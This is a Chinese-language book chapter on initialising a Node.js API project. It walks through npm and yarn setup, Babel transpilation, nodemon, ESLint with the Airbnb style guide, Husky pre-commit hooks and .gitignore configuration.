$ echo "8.11.4" > .nvmrc
使用 npm 开始项目
对于 Node.js 项目,设置和配置存储在一个名为 package.json
的文件中,位于仓库的根目录。npm CLI 工具提供了一个 npm init
命令,该命令将启动一个迷你向导,帮助您创建 package.json
文件。因此,在我们的项目目录中,运行 npm init
以启动向导。
向导将提出一系列问题,但也提供了合理的默认值。让我们逐个过一遍这些问题:
-
包名:我们对默认的
hobnob
名称(来自目录名)感到满意,因此我们可以直接按回车键继续。 -
版本:我们将遵循语义化版本控制(semver),并使用主版本 0(
0.y.z
)来表示我们的代码库处于初始开发阶段,API 不可稳定。Semver 还建议我们的初始版本为0.1.0
。 -
描述:对您的项目的简要描述;如果我们将应用程序公开在 npmjs.com,此描述将出现在搜索结果中。
-
入口点:这应该指向模块的根目录,并且是其他模块需要您的模块时运行的文件。我们尚未决定应用程序的结构,所以先将其留为
index.js
,我们可能稍后会更改它。 -
测试命令:当我们运行
npm run test
时,将会执行此命令。我们稍后会集成 Cucumber 和 Mocha 测试框架;目前,只需将其留空即可。 -
Git 仓库:使用我们之前创建的远程仓库,例如,
git@github.com:d4nyll/hobnob.git
。 -
关键词:这些是逗号分隔的关键词,有助于他人搜索 npmjs.com 上的您的包。
-
作者:请在此处以
FirstName LastName <e@ma.il> (http://web.site/)
的格式填写您的详细信息。 -
许可证:许可证告诉其他人他们如何使用我们的代码。它应该是 SPDX 许可证列表中的一个标识符(
spdx.org/licenses/
)。例如,MIT 许可证将是MIT
,GNU 通用公共许可证 v3.0 将是GPL-3.0
。
有两种主要的开源许可证类型——宽松许可证侧重于允许他人对你的代码做任何他们想做的事情;而版权左许可证促进共享,并要求在相同条款下共享衍生代码。如果你不确定选择哪个许可证,请查看 choosealicense.com。
完成向导后,它将显示 package.json
文件的预览;按 Return 键确认。你还可以查看新创建的 package.json
文件以进行检查:
$ cat package.json
{
"name": "hobnob",
"version": "0.1.0",
"description": "Back end for a simple user directory API with
recommendation engine",
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"repository": {
"type": "git",
"url": "git+https://github.com/d4nyll/hobnob.git"
},
"author": "Daniel Li <dan@danyll.com>",
"license": "MIT",
"bugs": {
"url": "https://github.com/d4nyll/hobnob/issues"
},
"homepage": "https://github.com/d4nyll/hobnob#readme"
}
package.json
文件包含有关你的项目的信息,以及项目所依赖的包列表。拥有 package.json
文件,它允许协作者快速在本地环境中设置项目——他们只需运行 npm install
,项目所有依赖项就会被安装。
使用 yarn 代替 npm
npm
是默认的包管理器,但 Facebook 与 Exponent、Google 和 Tilde 合作,已经开发了一个更好的替代品,称为 yarn
,我们将使用它。
yarn
(yarnpkg.com/en/
) 使用与 npm
CLI 相同的 www.npmjs.com/
注册表。由于它们两者都在 node_modules
目录中安装包并写入 package.json
,因此你可以互换使用 npm
和 yarn
。它们之间的区别在于解决和下载依赖项的方法。
软件包版本锁定
当我们在 package.json
文件中指定依赖项时,我们可以使用符号来表示可接受版本的范围。例如,>version
表示安装的版本必须大于某个版本,~version
表示大约等效(这意味着它可以达到下一个次版本),而 ^version
表示兼容(通常意味着最高版本且主要版本没有变化)。这意味着,给定相同的 package.json
文件,你安装的包版本集可能与同事不同。
yarn
默认创建一个锁文件,即 yarn.lock
。锁文件确保记录了每个包的确切版本,因此使用锁文件安装的人将拥有每个包的完全相同的版本。
另一方面,npm
在 5.0.0 版本中将锁文件作为默认设置,即 package-lock.json
。在此之前,开发者必须手动运行 npm shrinkwrap
来生成 npm-shrinkwrap.json
文件——这是 package-lock.json
的前身。
离线缓存
当你使用 yarn
安装一个包时,它会在 ~/.yarn-cache
中保存一个副本。因此,下次你需要在你项目中的一个包中安装包时,yarn
会检查这个缓存,并在可能的情况下使用本地副本。这每次都节省了往返服务器的行程,并允许你离线工作。
速度
当你安装一个包及其依赖项时,npm
会按顺序安装它们,而 yarn
会并行安装它们。这意味着使用 yarn
安装始终更快。
安装 yarn
你可以通过许多方法安装 yarn
。最简单的一种是通过 npm 安装它(是的,这相当讽刺):
$ npm install --global yarn
然而,这并不推荐,因为包没有被签名,这意味着你无法确定它来自一个可信的来源;这构成了安全风险。因此,建议遵循在 yarnpkg.com/en/docs/install#windows-stable
中概述的官方安装说明。对于 Ubuntu 机器,我们应该运行以下命令:
curl -sS https://dl.yarnpkg.com/debian/pubkey.gpg | sudo apt-key add -
echo "deb https://dl.yarnpkg.com/debian/ stable main" | sudo tee /etc/apt/sources.list.d/yarn.list
sudo apt-get update && sudo apt-get install yarn
熟悉 yarn CLI
yarn
拥有 npm
CLI 的大多数功能。以下表格比较了相应的命令:
Yarn 0.24.5 | npm CLI 5.0.0 | 描述 |
---|---|---|
yarn |
npm |
yarn install 的别名 |
yarn install |
npm install |
安装 yarn.lock 和 package.json 中指定的依赖项 |
yarn add <package> |
npm install <package> |
安装包,将其添加到依赖列表,并生成锁文件(在 5.0.0 之前,npm CLI 需要一个 --save 标志) |
yarn remove <package> |
npm uninstall <package> |
卸载指定的包 |
yarn global add <package> |
npm install <package> --global |
在全局范围内安装包 |
yarn upgrade |
rm -rf node_modules && npm install |
将所有包升级到 package.json 允许的最新版本 |
yarn init |
npm init |
通过简短的向导初始化包的开发 |
除了基本功能外,yarn
还有一些非基本但实用的功能,可以帮助你在工作流程中:
-
yarn licenses ls
:在控制台上打印出包列表、它们的 URL 和它们的许可证 -
yarn licenses generate-disclaimer
:生成包含所有依赖项许可证的文本文件 -
yarn why
:生成依赖图以确定为什么下载了某个包——例如,它可能是我们应用程序依赖项的依赖项 -
yarn upgrade-interactive
:提供一个交互式向导,允许你选择性地升级过时的包
你可以在 yarnpkg.com/en/docs/cli/
获取完整的 CLI 命令列表,或者通过在终端运行 yarn help
来获取。
npm 和 yarn,共同
yarn
是对 npm
的改进,在速度、一致性、安全性以及控制台输出的整体美观性方面。这使得 npm
更好——npm
v5.0.0 引入了以下变更,这些变更来自 npm 博客的官方公告:
-
npm
现在默认使用--save
。此外,如果不存在npm-shrinkwrap.json
实例,将自动创建package-lock.json
。 -
包的元数据、包下载和缓存基础设施已被替换。新的缓存非常容错,并支持并发访问。
-
在离线状态下运行
npm
将不再坚持重试网络请求。如果可能,npm
现在将立即回退到缓存,或者失败。
创建 HTTP 服务器
接下来,我们需要设置我们的项目,使其能够运行 ES6 代码,特别是 ES6 模块功能。为了演示这一点,并展示如何调试你的代码,我们将创建一个简单的 HTTP 服务器,该服务器总是返回字符串 Hello, World!。
通常,当我们遵循 TDD 工作流程时,我们应该在我们编写应用程序代码之前编写测试。然而,为了演示这些工具,我们将在这里稍作例外。
Node.js 提供了 HTTP 模块,其中包含一个 createServer()
方法 (nodejs.org/api/http.html#http_http_createserver_requestlistener
),允许你配置 HTTP 服务器。在你的项目目录根目录下创建一个 index.js
文件,并添加以下内容:
const http = require('http');
const requestHandler = function (req, res) {
res.writeHead(200, {'Content-Type': 'text/plain'});
res.end('Hello, World!');
}
const server = http.createServer(requestHandler);
server.listen(8080);
我们能够在这里使用 ES6 语法(如 const
),因为自 Node 版本 6 以来对 ES2015 的支持已经很好。但 ES6 模块仍然不受支持,即使在 Node 的最新版本中也是如此。因此,我们使用 CommonJS 的 require
语法。
在本章的后面部分,我们将演示如何使用 Babel 将源代码转换为使用 ES6 模块功能编写的代码,并将其转译回广泛支持的 CommonJS 语法。
要查看不同版本的 Node 对 ES2015+ 特性的支持程度,请访问 node.green。
完成这些后,打开一个终端并运行 node index.js
。这应该在 localhost:8080
上启动了一个服务器。现在,如果我们向 localhost:8080
发送请求,例如通过使用网页浏览器,它将返回文本 Hello, World!
:
如果你得到 Error: listen EADDRINUSE :::8080
错误,这意味着其他东西正在使用端口 8080
;在这种情况下,要么终止绑定到端口 8080
的进程,要么通过更改传递给 server.listen()
的数字来选择不同的端口。
node
进程目前处于 前台 运行,并将继续监听进一步的请求。要停止 node
进程(以及我们的服务器),请按 Ctrl + C。
按 Ctrl + C 会向 Node 程序发送一个 中断信号 (SIGINT
),程序会处理该信号并终止服务器。
我们详细探讨 HTTP 服务器
让我们分解我们的 HTTP 服务器代码,看看实际上发生了什么。首先,我们 require
了 http
包,以便我们可以访问 HTTP 模块的方法:
const http = require('http');
接下来,我们使用 createServer
方法创建一个服务器实例,该实例监听传入的请求。在其内部,我们传入一个 请求处理器 函数,该函数接受 req
和 res
参数。
大多数开发者使用 req
和 res
作为“请求”和“响应”参数名称的缩写,但您可以使用您喜欢的任何变量名。
req
参数是一个包含有关请求信息的对象,例如其原始 IP、URL、协议、正文负载(如果有)等。res
对象提供了帮助您准备响应消息并发送回客户端的方法;例如,您可以设置标题、添加响应正文、指定正文的内容类型等。
当我们运行 res.end()
时,它完成响应的准备并将其发送回客户端。在这里,我们忽略请求的内容,它简单地返回 Hello, World!
:
const requestHandler = function (req, res) {
res.writeHead(200, {'Content-Type': 'text/plain'});
res.end('Hello, World!');
}
const server = http.createServer(requestHandler);
现在我们已经创建了一个服务器实例并配置了其响应,最后一步是为它指定一个端口并指示它在该端口上监听请求。
server.listen(8080);
使用 Babel 转译 ES6
我们一直使用 CommonJS 的 require
语法来处理模块;让我们改为使用 ES6 模块语法(使用 import
)。
在您的代码中,更新第一行以使用 import
:
const http = require('http'); // CommonJS syntax
import http from 'http'; // ES6 syntax
当我们尝试通过执行 node index.js
来运行我们的服务器时,它将抛出 SyntaxError: Unexpected token import
错误。这是因为 Node.js 对模块的支持仍然是实验性的,并且在没有 --experimental-modules
标志的情况下,可能直到 2018 年晚些时候才可能得到支持。
这意味着为了我们能够使用 ES6 模块编写源代码,我们需要添加一个额外的步骤,该步骤将不支持的语法转译为支持的语法。我们有几个编译器/转译器可供选择:
-
Babel:JavaScript 编译器/转译器的最受欢迎和事实上的标准。
-
Traceur:Google 另一个编译器。
-
TypeScript 编译器:TypeScript 是 JavaScript 的超集,它提供了静态类型。由于有效的 JavaScript 也是有效的 TypeScript,TypeScript 编译器也可以作为 ES6 到 ES5 的转译器。
-
Closure 编译器:一种通过解析和分析您的 JavaScript 来优化它的编译器,移除死代码,重构现有代码,并最小化最终结果。它还会警告用户常见的错误。Closure 编译器支持 ES6 语法,但将所有内容转译为 ES5。
虽然 TypeScript 和 Closure 编译器能够将 ES6 转换为 ES5,但这不是它们的主要功能;因此,这些功能在这里的使用有限。Babel 和 Traceur 是专门用于将 ES6/7/8/9 和 ESNext 语法转换为环境支持的 JavaScript 的工具,因此更适合我们的使用。在这两个工具中,Babel 是最受欢迎和最活跃的,我们将在这个项目中使用它。
ESNext 是一个集合术语,用于指代由社区成员提交但尚未通过 Ecma 的审查过程(T39 流程)的功能,因此尚未纳入 ECMAScript 标准。
T39 流程有 5 个阶段:草稿(阶段 0)、提案(阶段 1)、草案(阶段 2)、候选(阶段 3)和完成(阶段 4)。你可以通过访问 tc39.github.io/process-document/
获取每个阶段的更详细描述。
Babel 是一个转换器……还有更多!
Babel 可以将 ES6/7/8/9 和 ESNext 语法转换为在目标环境中工作的语法。例如,假设我们有一个使用箭头函数的模块:
double = a => a * 2
如果我们想让它在浏览器上可用,Babel 可以将其转换为 ES5:
double = function double(a) {
return a * 2;
};
然而,如果我们正在运行 Node v8.11.4,它原生支持箭头函数,它将不会修改该函数。
除了支持新的 ECMAScript 版本外,它还支持常用的语法,如 JSX(由 React 使用)和 Flow 静态类型注解。
Babel 的不同方面
Babel 是一系列工具——它既是命令行工具,也是 polyfill,并且这些包被拆分为许多部分,如 @babel/cli
、@babel/register
、@babel/node
和 @babel/core
,所有这些都可以让你运行 ESNext 代码。
因此,首先,让我们了解 Babel 的不同部分实际上是什么,以及我们如何在我们的应用程序中使用 Babel。
@babel/cli
Babel CLI 是运行 Babel 最常见(也是最容易)的方式。它提供了一个可执行文件(babel
),你可以在终端中使用它来转换文件和目录。它可在 npmjs.com 上找到,因此我们可以使用 yarn 安装它:
# Install @babel/cli as a development dependency
$ yarn add @babel/cli --dev
# transpile a single file
$ babel example.js -o compiled.js
# transpile an entire directory
$ babel src -d build
@babel/register
@babel/cli
包允许你预先转换源代码;另一方面,@babel/register
在运行时进行转换。
使用 @babel/register 进行测试
@babel/register
在测试期间非常有用,因为它允许你在测试中编写 ESNext 代码,因为它们将在测试运行之前被转换。
替代方案是使用 babel
CLI 手动转换,并在转换后的代码上执行测试。这是可以接受的;然而,转换代码的行号将不会与源代码中的行号匹配,这使得识别失败的测试变得困难。此外,由于转换代码中可能包含更多的样板代码,测试覆盖率统计可能不准确。
因此,建议使用 @babel/register
来运行用 ES6 编写的测试。
@babel/node
虽然 @babel/register
钩子可以与其他工具(如 mocha
和 nyc
)集成并充当中间步骤,但 @babel/node
是 node
的替代品并支持 ESNext 语法:
# install @babel/node
$ yarn add @babel/node --dev
# instead of this
$ node main.js
# you'd run
$ babel-node main.js
这是为了方便,帮助你开始。它不打算在生产环境中使用,因为,就像 @babel/register
一样,它会在运行时转换源代码,这非常低效。
@babel/core
@babel/cli
、@babel/register
、@babel/node
以及其他几个包都依赖于 @babel/core
,正如其名称所暗示的,它包含 Babel 的核心逻辑。此外,@babel/core
包公开了你可以用于代码中的 API 方法:
import * as babel from '@babel/core';
var result = babel.transform("code();", options);
result.code;
result.map;
result.ast;
@babel/polyfill
ECMAScript 的新版本提供了新的、更简洁的语法,Babel 将新语法转换为旧版本的 ECMAScript。然而,如果你使用的是新的 JavaScript APIs,这样做可能更困难(甚至不可能)。
例如,如果你正在使用新的 fetch
API 而不是 XMLHttpRequest
,Babel 将无法将其转换为旧版本。对于 APIs,我们必须使用 polyfill;幸运的是,Babel 提供了 @babel/polyfill
包。
Polyfill 是一种代码,它会检查环境是否支持某个功能,如果不支持,则提供模拟原生实现的方法。
要使用 polyfill,你必须首先将其作为依赖项(而不是开发依赖项)安装:
$ yarn add @babel/polyfill
然后,在代码顶部导入 @babel/polyfill
包,它将修改现有的全局变量以 polyfill 尚未支持的方法:
require("@babel/polyfill"); # ES5
import "@babel/polyfill"; # ES6
@babel/polyfill
使用 core-js
作为其底层的 polyfill。
添加 Babel CLI 和 polyfill
我们将使用 Babel CLI 来转换我们的代码,同时添加 Babel polyfill 以利用新的 JavaScript APIs。因此,尽管你仍然在项目目录内,但请运行以下两个命令:
$ yarn add @babel/core @babel/cli --dev
$ yarn add @babel/polyfill
当我们运行 yarn add @babel/core @babel/cli
时,我们使用了 --dev
标志,这是因为我们希望将它们包括为 开发依赖项。开发依赖项可能包括构建工具、测试运行器、文档生成器、linters 以及在开发期间使用但应用程序本身不使用的任何其他工具。
这样做是为了如果有人想在他们的项目中使用我们的包,他们只需 npm install
我们包及其依赖项,而无需也下载开发依赖项。
使用 Babel CLI 转换我们的代码
现在,让我们使用 Babel CLI 来转换我们的代码:
$ npx babel index.js -o compiled.js
上述命令使用了 npx
,这是一个与 npm
v5.2.0 一起引入的工具。npx
允许你使用非常整洁的语法在本地运行二进制文件(在你的项目的 node_modules
目录内,而不是全局),例如,你可以将 ./node_modules/.bin/babel index.js -o compile.js
简化为 npx babel index.js -o compile.js
。
在这里,我们使用 npx 运行本地的babel
可执行文件,它将转换我们的index.js
文件并将其输出为compiled.js
。
如果您比较这两个文件,您会看到除了格式更改(如空白)之外,这两个文件应该是相同的。这是因为 Babel CLI 默认情况下将简单地从一处复制文件到另一处。为了给它添加功能,我们必须添加插件并在配置文件中指定它们。所以接下来,让我们创建那个配置文件。在项目目录的根目录下,创建一个名为.babelrc
的新文件,并添加以下行:
{
"presets": [],
"plugins": []
}
插件和预设
插件告诉 Babel 如何转换您的代码,而预设是预定义的插件组。例如,您有es2017
预设,它包括syntax-trailing-function-commas
和transform-async-to-generator
插件,这些插件是支持 ECMAScript 2017 语法的必需品。还有一个react
预设,它包括transform-react-jsx
插件(以及其他插件),允许 Babel 理解 JSX。
要使用插件或预设,您可以将其作为开发依赖项安装,并在.babelrc
中指定它。例如,如果我想支持 ECMAScript 2017 语法,同时支持对象的rest
和spread
操作符(ES2018 的功能),我可以运行以下命令:
$ yarn add @babel/preset-es2017 @babel/plugin-syntax-object-rest-spread --dev
然后,将设置添加到.babelrc
中:
{
"presets": ["@babel/es2017"],
"plugins": ["@babel/syntax-object-rest-spread"]
}
env 预设
然而,在先前的方法中,您必须手动跟踪您使用了哪些 ECMAScript 功能,并确定它们是否与您在机器上安装的 Node.js 版本兼容。Babel 提供了一个更好的替代方案,即env
预设,它作为@babel/preset-env
包提供。此预设将使用 kangax ECMAScript 兼容性表(kangax.github.io/compat-table/)来确定哪些功能不受您的环境支持,并下载适当的 Babel 插件。
这对我们用例来说很棒,因为我们不希望将所有内容都转换为 ES5,只转换import
/export
模块语法。使用env
预设将确保对我们的代码只进行最小数量的转换。
事实上,如果您访问npmjs.com
页面上的@babel/preset-es2017
或类似包,您会看到它们已经被废弃,转而使用@babel/preset-env
包。因此,我们应该删除之前的插件和预设,并使用env
预设:
$ yarn remove @babel/preset-es2017 @babel/plugin-syntax-object-rest-spread
$ yarn add @babel/preset-env --dev
接下来,将我们的.babelrc
内容替换为以下内容:
{
"presets": ["@babel/env"]
}
如果您没有指定目标环境,env
预设将默认使用最新的官方 ECMAScript 版本,不包括 stage-x 提案。
我们正在编写的 API 旨在仅在服务器上运行,使用 Node,因此我们应该在配置中指定这一点。我们可以指定我们想要支持的 Node 的确切版本,但更好的是,我们可以让 Babel 使用 target 选项"node": "current"
为我们检测它。
因此,将.babelrc
替换为以下内容:
{
"presets": [
["@babel/env", {
"targets": {
"node": "current"
}
}]
]
}
太好了!现在我们可以继续用 ES6 编写了。当我们想要运行我们的程序时,我们可以简单地使用 Babel 转换它,然后运行编译后的脚本:
$ npx babel index.js -o compiled.js
$ node compiled.js
再次提醒,当你向localhost:8080
发送GET
请求时,你应该会收到'Hello World!'
文本作为响应。
分离源代码和发布代码
通常,源代码由许多文件组成,嵌套在多个目录中。我们可以转换每个文件并将它们放置在相应的源文件旁边,但这并不是最佳做法,因为很难将发布代码与源代码分开。因此,最好将源代码和发布代码分别放在两个不同的目录中。
因此,让我们删除现有的 compiled.js
,并创建两个新的目录,分别称为 src
和 dist
。同时,将 index.js
文件移动到 src
目录中:
$ rm compiled.js
$ mkdir src dist
$ mv index.js src/
现在,我们应该再次构建我们的项目,但这次向 Babel CLI 提供一个 -d
标志,它将编译我们src
目录中的文件到输出目录。在构建之前,我们应该删除现有的dist
目录,以确保没有留下前一次构建的任何工件:
$ rm -rf dist/ && npx babel src -d dist
$ node dist/index.js
导入 Babel polyfill
最后,在src/index.js
文件中,将 polyfill 导入到文件顶部:
import "@babel/polyfill";
...
这将使我们能够使用新的 JavaScript API,例如fetch
。再次,通过执行rm -rf dist/ && npx babel src -d dist
来转换修改后的源代码。
使用 npm 脚本合并命令
每次想要构建项目时,都必须手动输入rm -rf dist/ && npx babel src -d dist
命令,这实在麻烦。相反,我们应该使用npm 脚本将这个命令合并成一个更简单的命令。
在你的package.json
文件中,向scripts
属性添加一个新的build
子属性,并将其设置为表示我们想要运行的命令的字符串:
"scripts": {
"build": "rm -rf dist/ && babel src -d dist",
"test": "echo \"Error: no test specified\" && exit 1"
}
现在,你不再需要输入rm -rf dist/ && npx babel src -d dist
,你只需输入yarn run build
或npm run build
——这样就不那么麻烦了!通过将此脚本添加到package.json
中,它允许你与其他开发者共享,这样每个人都可以从中受益。
我们还可以创建一个 serve
脚本,它将构建我们的应用程序然后运行它:
"scripts": {
"build": "rm -rf dist/ && babel src -d dist",
"serve": "yarn run build && node dist/index.js",
"test": "echo \"Error: no test specified\" && exit 1"
}
在随后的章节中,当我们与测试框架和文档工具集成时,我们将在其中添加更多的脚本。
确保跨平台兼容性
在我们继续之前,我们应该尝试确保我们的 npm 脚本在多个平台上都能工作。所以,如果我们有一个开发者在使用 Mac,另一个在使用 Linux 机器,脚本将适用于他们两个。
例如,如果你想在 Windows 上使用 cmd
删除 dist
目录,你需要运行rd /s /q dist
;而使用 Ubuntu 的默认 shell(Bash),你会运行rm -rf dist
。为了确保我们的 npm 脚本在所有地方都能工作,我们可以使用一个名为 rimraf
的 Node 包(www.npmjs.com/package/rimraf
)。首先,安装它:](https://www.npmjs.com/package/rimraf)
$ yarn add rimraf --dev
现在更新我们的build
脚本以使用rimraf
:
"build": "rimraf dist && babel src -d dist",
使用 nodemon 自动化开发
目前,为了看到最终产品,我们必须在每次修改源代码后运行build
脚本。虽然这没问题,但可能会很烦人且浪费时间。nodemon
是一个工具,它监视代码中的变更,并在检测到变更时自动重启node
进程。这可以加快开发和测试的速度,因为我们不再需要手动运行build
和serve
脚本。此外,从我们的机器上提供的 API 将始终是最新的版本。
首先,让我们安装nodemon
:
$ yarn add nodemon --dev
接下来,添加一个使用nodemon
而不是node
的watch
脚本:
"scripts": {
"build": "rimraf dist && babel src -d dist",
"serve": "yarn run build && node dist/index.js",
"test": "echo \"Error: no test specified\" && exit 1",
"watch": "nodemon -w src --exec yarn run serve"
},
此命令指示 nodemon 监视src
目录中的文件变更,并在检测到变更时执行yarn run serve
并重启我们的服务器。
现在,运行yarn run watch
,并在src/index.js
(例如,更改响应中返回的文本)中进行小的文件更改。注意控制台,你会看到 nodemon 检测到变更并重启我们的服务器:
[nodemon] restarting due to changes...
[nodemon] starting `yarn run serve`
使用 ESLint 进行代码检查
最后,我们应该注意在整个项目中保持一致的代码风格。代码风格是主观的,是风格选择,不会改变程序的功能,例如,是否使用空格或制表符,或者命名变量时是否使用camelCase
或underscore_case
。
保持一致的代码风格对于以下原因很重要:
-
它使代码更易读。
-
当与他人合作时,贡献者可能会覆盖彼此的风格变更。例如,贡献者 A 可能会将所有字符串字面量更改为使用单引号,而贡献者 B 可能会在后续提交中将其改回双引号。这是一个问题,因为:
-
浪费时间和精力
-
这可能会导致不良情绪,因为没有人喜欢自己的工作被覆盖
-
变更变得难以审查,相关的变更可能会被风格变更所淹没。
-
一旦定义了一套代码风格规则,就可以使用代码检查器来强制执行这些规则。代码检查器是一个静态分析工具,它扫描你的代码并识别不符合这些规则的代码风格,以及由于语法错误而产生的潜在错误。
ESLint是一个开源的 JavaScript 代码检查工具。要使用它,你首先需要在名为.eslintrc
的配置文件中记录你的规则。它被设计为可插拔的,这意味着开发者可以覆盖默认规则并组合自己的代码风格规则集。任何违规也可以被赋予警告或错误的严重级别。它还提供了有用的功能,例如--init
标志,它启动一个向导来帮助你创建配置文件,以及--fix
标志,它可以自动修复不需要人工干预的任何违规。
安装 ESLint
让我们安装 ESLint 并运行其初始化向导:
$ yarn add eslint --dev
$ npx eslint --init
? How would you like to configure ESLint?
Use a popular style guide
Answer questions about your style
Inspect your JavaScript file(s)
对于这个项目,我们将使用 Airbnb 的 JavaScript 风格指南,您可以在github.com/airbnb/javascript
找到它。因此,使用你的箭头键选择“使用流行的风格指南”选项,并按回车键。在下一个问题中,选择 Airbnb 选项:
? Which style guide do you want to follow? (Use arrow keys)
 Airbnb (https://github.com/airbnb/javascript)
Standard (https://github.com/standard/standard)
Google (https://github.com/google/eslint-config-google)
接下来,它将询问有关 React 和配置格式的问题;分别选择“否”和 JSON 选项:
? Do you use React? No
? What format do you want your config file to be in? JSON
最后,它将检查我们是否安装了所需的依赖项,如果没有,会提示我们安装它们。在这里选择“是”选项:
Checking peerDependencies of eslint-config-airbnb-base@latest
The config that you've selected requires the following dependencies:
eslint-config-airbnb-base@latest eslint@⁴.19.1 || ⁵.3.0 eslint-plugin-import@².14.0
? Would you like to install them now with npm? Yes
这完成了向导,现在你应该在你的仓库根目录下看到一个.eslintrc.json
文件,它简单地如下所示:
{
"extends": "airbnb-base"
}
检查我们的代码
现在,让我们在src/index.js
上运行eslint
以发现我们代码中的问题:
$ npx eslint src/index.js
/home/dli/.d4nyll/.beja/final/code/6/src/index.js
1:8 error Strings must use singlequote quotes
2:1 error Expected 1 empty line after import statement not followed by another import import/newline-after-import
3:24 warning Unexpected unnamed function func-names
4:22 error A space is required after '{' object-curly-spacing
4:51 error A space is required before '}' object-curly-spacing
6:2 error Missing semicolon semi
8:21 error Newline required at end of file but not found eol-last
 8 problems (7 errors, 1 warning)
6 errors and 0 warnings potentially fixable with the `--fix` option.
按照说明修复这些问题,或者传递--fix
标志让 ESLint 自动为您修复问题。最后,你应该得到一个看起来像这样的文件:
import '@babel/polyfill';
import http from 'http';
function requestHandler(req, res) {
res.writeHead(200, { 'Content-Type': 'text/plain' });
res.end('Hello, World!');
}
const server = http.createServer(requestHandler);
server.listen(8080); // Note that there is a newline below this line
在 package.json 中添加 lint 脚本
就像我们对build
、serve
和watch
npm 脚本所做的那样,我们可以在package.json
中添加一个fix
和lint
脚本:
"scripts": {
...
"fix": "eslint src --fix",
"lint": "eslint src",
...
现在,我们可以运行yarn run lint
来检查我们的整个项目。
安装 ESLint 扩展
虽然我们可以手动运行 ESLint,但如果这些错误在我们开发时就被指出,那么开发者的体验会更好。为了做到这一点,我们可以在代码编辑器或 IDE 中安装 ESLint 扩展。例如,Visual Studio Code ESLint 扩展将在任何违规下添加红色和黄色的波浪线:
可用于编辑器和构建工具的集成有很多;您可以在eslint.org/docs/user-guide/integrations
找到一份完整的列表。
添加 pre-commit 钩子
然而,我们还没有完全完成。许多开发者粗心大意,容易忘记。即使安装了eslint
并配置了扩展,他们也可能在提交格式不良的代码前忘记运行 lint 命令。为了帮助他们,我们可以实现Git 钩子,这些是触发在 Git 执行过程中定义点的程序。
默认情况下,Git 钩子存储在.git/hooks
目录中。如果你查看该目录,你会找到许多具有.sample
文件扩展名的示例钩子。我们感兴趣的是pre-commit
钩子,它在git commit
命令发出后执行,但在实际提交之前。
钩子是用外壳脚本编写的。对于pre-commit
钩子,我们可以通过返回非零退出码来终止提交。方便的是,当 ESLint 检测到代码风格违规时,它将以状态码1
退出;因此,在我们的脚本中,我们可以简单地返回eslint
返回的退出码。当手动编写钩子时,你应该注意只使用遵循 POSIX 标准的语法,因为其他开发者可能使用与你不同的外壳类型。
然而,如果你觉得手动编写外壳脚本工作量太大,有一个名为Husky的工具,它可以大大简化这个过程。让我们安装它:
$ yarn add husky --dev
Husky 将插入它自己的 Git 钩子到我们的项目中。在这些钩子中,它将检查package.json
中具有特殊名称的脚本并运行它们。例如,我们的pre-commit
钩子将检查名为precommit
的脚本。因此,要使用 Husky 运行我们的 lint 命令,我们只需添加一个名为precommit
的新 npm 脚本:
"scripts": {
...
"precommit": "yarn run lint",
...
现在,如果我们尝试提交格式错误的代码,它将抛出错误并终止:
...
error Command failed with exit code 1.
husky > pre-commit hook failed (add --no-verify to bypass)
将我们的代码提交到 Git
我们通过设置 HTTP 服务器并使我们能够使用 ES6 来完成了项目的初始化。因此,让我们实际上将这一块代码提交到 Git 中。
注意,我们本可以在每次添加新脚本或集成新工具时创建一个新的提交,但因为我们认为项目的初始化可以被视为一个逻辑单元,所以我们把这些都提交到一个提交中。
此外,请注意,我们目前不会创建一个dev
分支,因为项目的初始化不被视为一个“功能”。记住,分支是用来帮助我们根据业务领域分离提交的;如果我们从分支中得不到任何好处,那么务实比教条更好。
让我们运行git status
来查看我们可以在 Git 仓库中跟踪哪些文件:
$ git status
Untracked files:
.babelrc
.eslintrc.json
.nvmrc
dist/
node_modules/
package.json
src/
yarn.lock
git status
命令列出的文件列表包括node_modules/
和dist/
目录,这两个目录都不构成我们应用程序的核心逻辑。此外,它们可以从我们的源代码中重新生成——node_modules/
来自package.json
和yarn.lock
文件,而dist/
来自src/
目录。此外,node_modules/
目录可能非常大,因为它包含了我们在应用程序中依赖的所有第三方库的副本。因此,让我们确保node_modules/
和dist/
目录不被跟踪在我们的 Git 仓库中。
使用.gitignore
忽略文件
Git 允许一个特殊的.gitignore
文件,允许我们指定 Git 应该忽略哪些文件。因此,在项目根目录下创建一个.gitignore
文件,并添加以下行:
node_modules/
dist/
现在,当我们再次运行git status
时,node_modules/
和dist/
已从我们的列表中消失,而.gitignore
被添加:
$ git status
Untracked files:
.babelrc
.eslintrc.json
.gitignore
.nvmrc
package.json
src/
yarn.lock
除了 node_modules/
和 dist/
目录外,我们最终还希望 Git 忽略许多其他文件;例如,每当 yarn
遇到错误时都会生成一个 yarn-error.log
文件。它仅用于我们的信息,不应在 Git 上跟踪。虽然我们可以根据需要继续向 .gitignore
文件中添加更多行,但许多使用 Node.js 的人已经共同工作,编制了一份大多数项目应忽略的常见文件和目录列表;我们可以以此为基础,并根据需要进行修改。
前往 github.com/github/gitignore/blob/master/Node.gitignore 并将我们的 .gitignore
文件替换为 Node.gitignore
文件的内容;但请记住在最后添加回 dist/
条目。
现在,让我们将所有内容添加到暂存区并提交:
$ git status
Untracked files:
.babelrc
.eslintrc.json
.gitignore
.nvmrc
package.json
src/
yarn.lock
$ git add -A
$ git commit -m "Initial project setup"
摘要
在本章的开头,我们探讨了 CommonJS 和 ES6 模块之间的区别,并决定使用新的 ES6 模块语法,该语法使用 import
和 export
关键字。
接下来,我们使用 nvm 在我们的机器上安装了 Node,并熟悉了 npm
和 yarn
包管理器。然后,我们使用原生的 http
Node 模块设置了一个简单的 HTTP 服务器。之后,我们使用 Babel 将我们的 ESNext 代码转换为本地环境支持的语法。我们还设置了 nodemon
来监视代码中的更改,并在检测到更改时重新启动服务器。最后,我们引入了 ESLint 来查找代码中的问题,并使用 pre-commit
Git 钩子在每次提交前自动运行代码检查器。
在下一章中,我们将采用 测试驱动开发(TDD)的方法来开发我们的 API 服务器,为客户端提供在数据库中创建、读取、更新和删除(CRUD)用户对象的功能,使用 ElasticSearch 作为我们的数据存储解决方案。
通常,每一章都会将一组新的工具集成到应用程序中。本书将首先关注后端、服务器端代码,然后转向前端、客户端代码,最后通过查看实现自动化部署过程来结束全书。
第五章:编写端到端测试
在上一章,第四章,设置开发工具中,我们成功启动了我们的项目。在本章中,我们将开始开发我们的用户目录 API,它仅由 创建、读取、更新和删除(CRUD)端点组成。
